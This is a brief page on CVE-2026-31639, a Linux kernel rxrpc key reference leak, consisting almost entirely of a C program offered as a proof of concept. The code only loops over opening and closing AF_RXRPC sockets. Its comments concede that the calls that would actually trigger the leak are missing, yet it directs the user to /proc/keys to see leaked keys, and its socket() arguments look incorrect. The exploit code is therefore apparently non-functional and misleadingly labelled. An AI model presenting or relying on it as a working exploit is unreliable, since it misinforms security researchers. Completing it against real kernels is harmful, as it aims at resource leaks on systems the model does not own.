CVE-2026-31639: Linux内核rxrpc密钥引用泄漏漏洞

/* * PoC for CVE-2026-31639: rxrpc Key Reference Leak * This code attempts to trigger the leak by creating rxrpc client calls. * Note: Actual triggering may require specific kernel configurations or AF_RXRPC socket operations. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> // AF_RXRPC definition is usually in linux/rxrpc.h #ifndef AF_RXRPC #define AF_RXRPC 33 #endif int main() { int sock, i; printf("[+] Starting PoC for CVE-2026-31639\n"); // Loop to create sockets and simulate calls that trigger the allocation for (i = 0; i < 10000; i++) { sock = socket(AF_RXRPC, SOCK_DGRAM, AF_RXRPC); if (sock < 0) { perror("socket"); continue; } // In a real exploit, specific sendmsg or ioctls would trigger // rxrpc_alloc_client_call which leaks the key. // This demonstrates the pattern of resource usage. close(sock); } printf("[+] Completed. Check /proc/keys for leaked afs keys.\n"); return 0; }